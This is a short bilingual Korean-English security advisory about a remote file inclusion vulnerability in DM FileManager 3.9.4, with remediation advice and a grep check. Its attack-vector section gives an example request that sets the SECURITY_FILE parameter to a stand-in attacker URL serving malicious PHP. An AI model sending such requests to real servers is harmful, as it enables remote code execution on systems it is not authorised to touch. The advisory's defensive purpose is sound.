🇰🇷 한글 설명
DM FileManager 3.9.4에서 register_globals가 활성화된 PHP 환경에서 dm-albums/template/album.php의 SECURITY_FILE 파라미터를 통한 원격 파일 포함(RFI) 취약점. 공격자가 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
오래된 파일 관리자 프로그램이 외부에서 악의적인 파일을 불러올 수 있게 해주는 보안 결함입니다. 공격자가 해당 결함을 이용하면 서버에서 임의의 명령을 실행할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in dm-albums/template/album.php in DM FileManager 3.9.4, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the SECURITY_FILE parameter.
📍 영향받는 시스템
DM FileManager 3.9.4 (register_globals 활성화된 PHP 환경)
⚔️ 공격 벡터
dm-albums/template/album.php?SECURITY_FILE=http://attacker.com/malicious.php와 같은 URL을 통해 원격 파일을 포함시켜 PHP 코드 실행
🛡️ 대응 방법
DM FileManager를 최신 버전으로 업그레이드하거나 PHP의 register_globals를 비활성화하고 입력 검증을 추가할 것
🔧 검증 코드
SECURITY_FILE 파라미터가 포함된 dm-albums 디렉토리가 존재하면 취약한 버전이 설치된 상태이므로 즉시 업그레이드 필요
grep -r 'SECURITY_FILE' /var/www/html/ 2>/dev/null || echo 'DM FileManager not found'